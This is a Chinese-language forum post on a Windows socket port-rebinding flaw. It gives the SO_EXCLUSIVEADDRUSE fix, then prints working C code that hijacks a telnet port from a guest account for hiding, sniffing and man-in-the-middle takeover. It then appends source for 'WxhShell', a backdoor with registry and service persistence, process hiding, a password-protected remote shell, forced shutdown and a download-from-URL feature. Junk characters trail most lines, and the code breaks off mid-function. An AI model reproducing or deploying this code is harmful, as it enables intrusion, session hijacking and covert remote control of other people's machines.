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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2h5L#\H"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &pZn cm  
%#$K P  
  saddr.sin_family = AF_INET; Y ]6kA5  
C4^o= 6{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E|v9khN(].  
Cmj+>$')0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o6T'U#7P  
.DG`~Fpk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R /0zB  
=/SBZLR(9  
  这意味着什么?意味着可以进行如下的攻击: cHjnuL0fsy  
G  Ps//  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 XlDN)b5v{  
Js}1_K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pa8R;A70Dl  
%UokR"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |Pj]sh[^Y  
~duF2m 72  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )LDBvpJyQ  
#4BwYj(Sl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h"$)[k~  
b:t|9 FE%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]L{diD 2G  
oo2CF!Xy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $~5ax8u&!#  
U~1)a(Yu;  
  #include {DWL 5V#M  
  #include PJ3M,2H1b.  
  #include !M@jW[s  
  #include    &\ $~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~6Pv5DKq  
  int main() 'B yB1NL  
  { HP2J`>oo  
  WORD wVersionRequested; _{&bmE  
  DWORD ret; kr>4%Ndm7  
  WSADATA wsaData; u1;sH{YK>  
  BOOL val; D A_}pS"  
  SOCKADDR_IN saddr; 45A|KaVpg  
  SOCKADDR_IN scaddr; tg6iHFa  
  int err; >yf}9Zs  
  SOCKET s; as3*49^9  
  SOCKET sc; ,xI FF-[0  
  int caddsize; h,|. qfUk  
  HANDLE mt; GUn$IPOM  
  DWORD tid;   H7%q[O  
  wVersionRequested = MAKEWORD( 2, 2 ); vR4omB{  
  err = WSAStartup( wVersionRequested, &wsaData ); 9%Qlg4~<s  
  if ( err != 0 ) { 08G${@D+X0  
  printf("error!WSAStartup failed!\n"); QWwdtk  
  return -1; =*{Ii]D  
  } J_7#UjGA,  
  saddr.sin_family = AF_INET; )~-r&Q5d  
   3/V0w|ZgD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {uN-bl?o  
Q6;bORN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %l[]n;*$  
  saddr.sin_port = htons(23); W:>XXUU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZRj/lQ2D  
  { ,!dVhG#  
  printf("error!socket failed!\n"); *i>hFNLdOM  
  return -1; `Wd4d2aLG  
  } N\anjG  
  val = TRUE; $Y M(NC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y<h6m]H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (_]D\g~  
  { Je4hQJ<h  
  printf("error!setsockopt failed!\n"); rvuasr~  
  return -1; i0F6eqe=J  
  } ?x/Lb*a^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Nq1YFI>W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NMS+'GRW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wxJoWbn  
3wg1wl|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3&6sQ-}*  
  { CEAmb[h  
  ret=GetLastError(); | {Q}:_/q  
  printf("error!bind failed!\n"); tz5\O}  
  return -1; NQA2usb  
  } Z*Rg ik  
  listen(s,2); ZW4$Ks2]Y  
  while(1) &?}A/(#  
  { D#A6s32a  
  caddsize = sizeof(scaddr); 1Tr%lO5?6  
  //接受连接请求 a"`> J!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `O5427Im  
  if(sc!=INVALID_SOCKET) 7'#_uA QR  
  { Ww"]3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f!H/X%F  
  if(mt==NULL) %j/pln&  
  { \ AIFIy  
  printf("Thread Creat Failed!\n"); yy+:x/(N[  
  break; dL_9/f4   
  } ?L0|$#Iw  
  } {u+=K-Bj  
  CloseHandle(mt); P&Uj?et"  
  } vCXmu_S4^>  
  closesocket(s); FmFjRYA W  
  WSACleanup(); L6#4A3yh  
  return 0; YrYmPSb=  
  }   ) 7X$um  
  DWORD WINAPI ClientThread(LPVOID lpParam) UB+7]S  
  { o/Q|R+yXV  
  SOCKET ss = (SOCKET)lpParam; MiR$N  
  SOCKET sc; +prUau*  
  unsigned char buf[4096]; 1wm`a  
  SOCKADDR_IN saddr; v*&j A 8D  
  long num; slhMvHOk-  
  DWORD val; CRD=7\0(D+  
  DWORD ret; | KY-kRN7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V]GF53D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E-($Xc  
  saddr.sin_family = AF_INET; 3,K\ZUU.,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vCNq2l^CW  
  saddr.sin_port = htons(23); b(CO7/e>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uE<8L(*B  
  { KCAV  
  printf("error!socket failed!\n"); *X{7m]5  
  return -1; N&eo;Ti  
  } i]J.WFu  
  val = 100; ;^u,[d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ' Ttsscv  
  { lSlZ^.&  
  ret = GetLastError(); F" M  
  return -1; cTS.yN({G  
  } >*opEI+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wy8Q=X:vP  
  { Z4c'1-lh  
  ret = GetLastError(); }2;iIw`  
  return -1; j7QK8O$XL  
  } u|T]Ne  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1KbZ6Msy  
  { 4c95G^dZ  
  printf("error!socket connect failed!\n"); #/jug[wf*!  
  closesocket(sc); w-2#CX8jY  
  closesocket(ss); /H"fycZ  
  return -1; ~\i(bFd)  
  } I>JE\## ^n  
  while(1) D B65vM  
  { sW'_K.z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;6D3>Lm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I.G[|[. Do  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~]QQaP  
  num = recv(ss,buf,4096,0);  }( CYok  
  if(num>0) ACi,$Uq6R  
  send(sc,buf,num,0); hc[J,yG  
  else if(num==0) |JF,n~n  
  break; Y]KHCY  
  num = recv(sc,buf,4096,0); LU+SuVm  
  if(num>0) rab$[?]  
  send(ss,buf,num,0); r5ldK?=k+*  
  else if(num==0) 8a`3eM~?[  
  break; [Z"Z5e`  
  } 8<mloM-4  
  closesocket(ss); H#D:'B j29  
  closesocket(sc); 2>o^@4PnZ  
  return 0 ; R9 Ab.t  
  } ZS4dW_*[  
o$l8"Uv  
Z37Dv;&ZD  
========================================================== R!QR@*N  
d~rA`!s7`  
下边附上一个代码,,WXhSHELL ?d%{-  
bf+C=A)s0  
========================================================== ]&"ii  
:Ae#+([V  
#include "stdafx.h" m BFNg3_  
V^R,j1*  
#include <stdio.h> ?A7 AVR  
#include <string.h> @vyEN.K%mm  
#include <windows.h> 4'dN7E1*f  
#include <winsock2.h> NfPWcK [  
#include <winsvc.h> Z!~_#_Ugl  
#include <urlmon.h> JygJ4RI%j  
,$ /Ld76U  
#pragma comment (lib, "Ws2_32.lib")  f_n  
#pragma comment (lib, "urlmon.lib") COu5Tu^  
fX 1%I  
#define MAX_USER   100 // 最大客户端连接数 K mH))LIv  
#define BUF_SOCK   200 // sock buffer qpjZ-[UC  
#define KEY_BUFF   255 // 输入 buffer 0$c(<+D  
Z8FgxR  
#define REBOOT     0   // 重启 Vm\zLWNB  
#define SHUTDOWN   1   // 关机 #<"od'{U  
mY/"rm  
#define DEF_PORT   5000 // 监听端口 0C%IdV%CU  
A :KZyd"Z  
#define REG_LEN     16   // 注册表键长度 >I5Wf /$  
#define SVC_LEN     80   // NT服务名长度 ]  &"`  
qQ^CSn98J  
// 从dll定义API 7r' _p$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kN1R8|pv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,LxZbo!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^ '|y^t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t?-a JU  
[ !#Dba#  
// wxhshell配置信息 )uOtQ0  
struct WSCFG { ],0I`!\  
  int ws_port;         // 监听端口 +@!\3a4!  
  char ws_passstr[REG_LEN]; // 口令 S-o )d  
  int ws_autoins;       // 安装标记, 1=yes 0=no ejyx[CF  
  char ws_regname[REG_LEN]; // 注册表键名 #~/9cVm$  
  char ws_svcname[REG_LEN]; // 服务名 qOy(dG g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (_ :82@c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K)    
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7L&,Na  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <";1[A%7<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TO5y.M|7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KzV|::S^  
aW dI  
}; >SvS(N{  
=>c0NT  
// default Wxhshell configuration &l ]F&-  
struct WSCFG wscfg={DEF_PORT, Ew{*)r)m  
    "xuhuanlingzhe", dl8f]y#Q  
    1, $mKExW  
    "Wxhshell", H/M]YUs/3  
    "Wxhshell", dF 6od  
            "WxhShell Service", qzvht4  
    "Wrsky Windows CmdShell Service", eDP&W$s#  
    "Please Input Your Password: ", G)[gLD{g?  
  1, B.od{@I(Xp  
  "http://www.wrsky.com/wxhshell.exe", D :j5/ *  
  "Wxhshell.exe" ,7s+-sRG  
    }; ./3/3& 6  
%pOxt<  
// 消息定义模块 +ug2p;<B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q%q;=a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eP:\\; ;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6p&2 A  
char *msg_ws_ext="\n\rExit."; VByA6^JR  
char *msg_ws_end="\n\rQuit."; %7`eT^  
char *msg_ws_boot="\n\rReboot..."; +RM!j9Rq  
char *msg_ws_poff="\n\rShutdown..."; X,G"#j^  
char *msg_ws_down="\n\rSave to "; Z]{=Jy !F  
N-2_kjb!  
char *msg_ws_err="\n\rErr!"; Z?qLn6y1W  
char *msg_ws_ok="\n\rOK!"; xbw;s}B  
/SM 7t_  
char ExeFile[MAX_PATH]; cy? #LS  
int nUser = 0; t+F_/_"B  
HANDLE handles[MAX_USER]; G?LC!9MB  
int OsIsNt; _]ZlGq!L  
T zS?WYF  
SERVICE_STATUS       serviceStatus; YR/I<m`]}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  9S9j  
tj*0Y-F~  
// 函数声明 /DHV-L  
int Install(void); Iy;"ht6  
int Uninstall(void); /3hY[#e  
int DownloadFile(char *sURL, SOCKET wsh); #b)`as?!1  
int Boot(int flag); [+W<;iep  
void HideProc(void); Yc6.v8a  
int GetOsVer(void); }.8yKj^p  
int Wxhshell(SOCKET wsl); f>Ua7!b  
void TalkWithClient(void *cs); iyR"O1]  
int CmdShell(SOCKET sock); KrG,T5  
int StartFromService(void); -\B*reC  
int StartWxhshell(LPSTR lpCmdLine); 6!itr"  
:EYUBtTj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !fe_w5S^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dP_bFUzg  
nJYIkfdA  
// 数据结构和表定义 | X#!5u  
SERVICE_TABLE_ENTRY DispatchTable[] = mqsAYzG  
{ X}x\n\Z  
{wscfg.ws_svcname, NTServiceMain}, FVL{KNW~i  
{NULL, NULL} F(lJ  
}; fdwP@6eh  
] `q]n  
// 自我安装 m`$Q/SyvG  
int Install(void) `J03t\  
{ #l- 0$  
  char svExeFile[MAX_PATH]; ^\`a-l^  
  HKEY key; v#s*I/kw  
  strcpy(svExeFile,ExeFile); ="vg/@.>i  
q7soV(P  
// 如果是win9x系统,修改注册表设为自启动 T2rBH]5  
if(!OsIsNt) { 1/;E8{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1$C?+H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3 4%B0  
  RegCloseKey(key); 9MI9$s2y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  CDuA2e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aMHC+R1X  
  RegCloseKey(key); @K*W3&TO  
  return 0; =)g}$r &<  
    } KDP47A  
  } P?|\Ig1Gk  
} &!WRa@x0I  
else { ]&D= *:c  
3}mg7KV&  
// 如果是NT以上系统,安装为系统服务 f.aa@>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o37oRv]  
if (schSCManager!=0) 1HAnOy0   
{ HRM-r~2:-]  
  SC_HANDLE schService = CreateService Q_iN/F  
  ( x6!Q''f7  
  schSCManager, m2l9([u=^  
  wscfg.ws_svcname, cjg~?R  
  wscfg.ws_svcdisp, ErJ@$&7  
  SERVICE_ALL_ACCESS, ,!%E\`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , emrA!<w!W  
  SERVICE_AUTO_START, .o C! ~'  
  SERVICE_ERROR_NORMAL, ZS]Z0iZv9  
  svExeFile, _$D!"z7i  
  NULL, <pHm=q/U  
  NULL, aL90:,V  
  NULL, I"lzOD; eI  
  NULL, F$'u`  
  NULL 0pEM0M  
  ); NR k~  
  if (schService!=0) !V/\_P!I  
  { $^?VyHXvY  
  CloseServiceHandle(schService); Qf ~$9?z  
  CloseServiceHandle(schSCManager); n@;B_Bt7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k[a<KbS  
  strcat(svExeFile,wscfg.ws_svcname); !P^Mo> "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]plp.f#av  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +s8R]3NJ_H  
  RegCloseKey(key); 5*YvgB;  
  return 0; w4TQ4 Y  
    } [' pO=ho  
  } P\6:euI  
  CloseServiceHandle(schSCManager); +By'6?22  
} /w5*R5B{  
} ZOa|lB (,  
BQg3+w:>  
return 1; c6c@ Xd V  
} ~;Y Tz  
GQ@mQ=i  
// 自我卸载 2=8PA/  
int Uninstall(void) UdnRsp9S  
{ Vym0|cW  
  HKEY key; $m*Gu:#xm&  
=QtFJ9\  
if(!OsIsNt) { Jx}-Y* o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GxG~J4  
  RegDeleteValue(key,wscfg.ws_regname); R"P-+T=7M  
  RegCloseKey(key); QdQ1+*/+U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fc\]*  
  RegDeleteValue(key,wscfg.ws_regname); *kqC^2t  
  RegCloseKey(key); we^' R}d  
  return 0; t;h`nH[  
  } kVKAG\F  
} a <?~1pWtc  
} 0^o/c SF  
else { zN[& iKf  
_\tv ${  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -/{FGbpR;  
if (schSCManager!=0) YJ"D"QD  
{ oU\7%gQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [yQ%g;m  
  if (schService!=0) $'Mf$h  
  { ycc G>%>r  
  if(DeleteService(schService)!=0) { ] T]{VB  
  CloseServiceHandle(schService); fpo{`;&F  
  CloseServiceHandle(schSCManager); 0: hv6Ge^  
  return 0; `}=R  
  } , %z HykP  
  CloseServiceHandle(schService); ~BJE~  
  } c6 mS  
  CloseServiceHandle(schSCManager); 4l %W]'  
} MAFdJ +n#  
} @g5y_G{SP  
/ugyUpyg  
return 1; }p2iF2g9`  
} KU` *LB:  
I)FFh%m<}a  
// 从指定url下载文件 ~r8<|$;  
int DownloadFile(char *sURL, SOCKET wsh) ..u{v}4&  
{ jj]\]6@+P  
  HRESULT hr; &Z]}rn  
char seps[]= "/"; 04|ZwX$>+  
char *token; 4mo/MK&M:  
char *file; mXyP;k  
char myURL[MAX_PATH]; 70R6:  
char myFILE[MAX_PATH]; <L qJg  
~ `qWE u  
strcpy(myURL,sURL); k"i3$^v8  
  token=strtok(myURL,seps); xWzybuLp  
  while(token!=NULL) PtW2S 1?j  
  { \~,\|  
    file=token; U; oXX  
  token=strtok(NULL,seps); +8//mrL_/  
  } G'/G DN^j  
vNs%e/~vj  
GetCurrentDirectory(MAX_PATH,myFILE); R~oJ-} iYX  
strcat(myFILE, "\\"); X<;.  
strcat(myFILE, file); ^ l]!'"  
  send(wsh,myFILE,strlen(myFILE),0); mv8H:T  
send(wsh,"...",3,0); SQcic]Ep  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X13+n2^8]  
  if(hr==S_OK) )9yQ C  
return 0; (?1$  
else q\o#<'F1J  
return 1; H;nzo3x  
;`7~Q  
} 1 gjaTPwY  
/C!~v!;e  
// 系统电源模块 EZB0qZIp  
int Boot(int flag) n&;JW6VQS  
{ Ljz)%y[s  
  HANDLE hToken; ,nteIR'??  
  TOKEN_PRIVILEGES tkp; $GRwk>N  
pE<a:2J  
  if(OsIsNt) { Vp]7n!g4l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f<bB= 9J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {"Sv~L|J;  
    tkp.PrivilegeCount = 1; ek]JzD~w$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \2y/:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ivo><"Y(r  
if(flag==REBOOT) { ;F @Sz/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O6y:e #0z  
  return 0; qWr=Oiu  
} @3c'4O   
else { F(`|-E"E;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K@1gK<,a  
  return 0; (9%?ik  
} n}Z%D-b$  
  } vOlfyH>  
  else { 9]=J+ (M  
if(flag==REBOOT) { }>@SyE'Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gn 9oInY1  
  return 0; [x{$f7CEh  
} O"~[njwkE  
else { `e'wW V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jt]RU+TB  
  return 0; F*U(Wl=  
} j$Ndq(<tG  
} p}pRf@(`\  
[6l0|Y  
return 1; 2EM6k|l5  
} $BehU  
IWv5UmjN  
// win9x进程隐藏模块 ((]i}s0S  
void HideProc(void) yrEh5v:  
{ $rW(*#C  
hA 5p'a+K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }6a}8EyFP  
  if ( hKernel != NULL ) "v?F4&\ 8  
  { n32"cFPpT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LI.WcI3uS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >6Uc|D  
    FreeLibrary(hKernel); Ci-Ze j  
  } 9+9g(6  
7Q|<6210  
return; v*Gd=\88  
} A3tv'-e9  
DQK?y=vf  
// 获取操作系统版本 AjEy@ /  
int GetOsVer(void) lv/im/]v  
{ e bp t/q[  
  OSVERSIONINFO winfo; sDNWB_~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /v9qrZ$$  
  GetVersionEx(&winfo); u3qx G3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O0jOI3/P%  
  return 1; `>UUdv{C  
  else %C`P7&8m=O  
  return 0; j"6|$Ze8  
} :y7K3:d3  
BNJ0D  
// 客户端句柄模块 5QK%BiDlr  
int Wxhshell(SOCKET wsl) *7H *epUa  
{ (/$-2.@  
  SOCKET wsh; XgX~K:<jt  
  struct sockaddr_in client; v|~=rvXFC  
  DWORD myID; eEBNO*2  
_fZec+oM  
  while(nUser<MAX_USER) .?s jr4   
{ (U# ,;  
  int nSize=sizeof(client); "{vWdY|"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QWa@?BO2p  
  if(wsh==INVALID_SOCKET) return 1; Pl/Xh03E  
!0hyp |F:>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?7wcv$K5  
if(handles[nUser]==0) &,<,!j)Jr  
  closesocket(wsh); A^M]vk%dg  
else >3D1:0Sg  
  nUser++; Kd 1=mC  
  } }0\SNpVN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \:Tq0|]Px  
%XN;S29d5W  
  return 0; -4+'(3qr  
} 'kj q C  
@!oN]0`F;  
// 关闭 socket sXEIC#rq  
void CloseIt(SOCKET wsh) UfPB-EFl$D  
{ ?bM%#x{e  
closesocket(wsh); I~F&@  
nUser--; X@[5nyILf  
ExitThread(0); Uv[a ~'  
}  ij:a+T  
0~ nCT&V  
// 客户端请求句柄 d+)LK~  
void TalkWithClient(void *cs) M887 Q'HSi  
{ Tv7W)?3h  
USEmD5q  
  SOCKET wsh=(SOCKET)cs; ):hz /vZ  
  char pwd[SVC_LEN]; ,=CipL9]  
  char cmd[KEY_BUFF]; aWimg6q  
char chr[1]; (BtU\f#d  
int i,j; :I7qw0?  
XGR63hXND  
  while (nUser < MAX_USER) { EsWB|V>  
xib}E[-l#  
if(wscfg.ws_passstr) { -"ZNkC =  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cd,'37pZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EwG+' nlE  
  //ZeroMemory(pwd,KEY_BUFF); <H] PP6_g:  
      i=0; }N -UlL(  
  while(i<SVC_LEN) { (9( xJ)  
+&"W:Le:  
  // 设置超时 ApSseBhh  
  fd_set FdRead; @A8y!<  
  struct timeval TimeOut; 4J,6cOuW4  
  FD_ZERO(&FdRead); l2W+VBn6  
  FD_SET(wsh,&FdRead); Z\C"/j<y  
  TimeOut.tv_sec=8; rkS'OC  
  TimeOut.tv_usec=0; NM9ViYm>P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +1qvT_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9{nU\am!\  
@Z$fEG)9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pvt/{  
  pwd=chr[0]; C`Vuw|Xl  
  if(chr[0]==0xd || chr[0]==0xa) { P[H`]q|  
  pwd=0; _d~GY,WTdO  
  break; ;w%g*S  
  } 0|va}m`<3G  
  i++; .6n|hYe  
    } "e\73?P  
^+~$eg&js  
  // 如果是非法用户,关闭 socket wAR:GO'n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )rA\+XT7  
} WR.7%U';  
|OF3J,q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ' )F@em  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &C,]c#-+  
b2F1^]p  
while(1) { vA*NJ%&`  
&e[Lb:Uk)  
  ZeroMemory(cmd,KEY_BUFF); Vas Q/  
'uUa|J1mu  
      // 自动支持客户端 telnet标准   ,V4pFQzL  
  j=0; Y=pRenV'  
  while(j<KEY_BUFF) { >>J!|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ;XYfw)  
  cmd[j]=chr[0]; Z-U3Tr SI  
  if(chr[0]==0xa || chr[0]==0xd) { qj*BV  
  cmd[j]=0; OZ Obx  
  break; DML0paOm5  
  } 84Hm PPt  
  j++; Eh_[8:dK  
    } *OE>gg&?Nh  
n |,}   
  // 下载文件 /s:akLBaD  
  if(strstr(cmd,"http://")) { d7c m?+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ke&fTK  
  if(DownloadFile(cmd,wsh)) xi\uLu?i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 10/3-)+  
  else x2f_>tu2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |4Q><6"G  
  } Q;1$gImFz  
  else { p:U{3uN 62  
0Zl1(;hx@  
    switch(cmd[0]) { eP3 itrH(  
  `Sj8<O}  
  // 帮助 !C0= h  
  case '?': { `V0]t_*D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Md m(xUs  
    break; PsD]gN5"  
  } Y!s/uvRI  
  // 安装 qdu:kA:]  
  case 'i': { }`^<ZNkb/  
    if(Install()) IPE(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}bgRzj  
    else 7,LT4wYH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;6)|'3.B9  
    break; WCWBvw4&"{  
    } CblL1q8  
  // 卸载 CGg6nCB  
  case 'r': { "ChBcxvxb:  
    if(Uninstall()) EGMcU| yL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T@ HozZ  
    else J<zg 'Jk^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -s!PO;qm  
    break; KJkcmF}Q  
    } SoY&R=  
  // 显示 wxhshell 所在路径 6<~y!\4;F  
  case 'p': { SO&;]YO  
    char svExeFile[MAX_PATH]; ?x/ L"h&Kp  
    strcpy(svExeFile,"\n\r"); nMbV{h ,  
      strcat(svExeFile,ExeFile); p_(hM&>C  
        send(wsh,svExeFile,strlen(svExeFile),0); nW%c95E  
    break; lJ,s}l7  
    } _1 JvA-  
  // 重启 q.X-2jjpx:  
  case 'b': { M*{e e0\`r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QBo^{],  
    if(Boot(REBOOT)) \%VoX` B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^b.J z}  
    else { [(K^x?\Y0'  
    closesocket(wsh); JZ7-? o  
    ExitThread(0); 1|89-Ii]  
    } /][U$Q;Ke  
    break; G j:|  
    } u!S{[7 FY  
  // 关机 ']NM_0  
  case 'd': { pQhv3F  
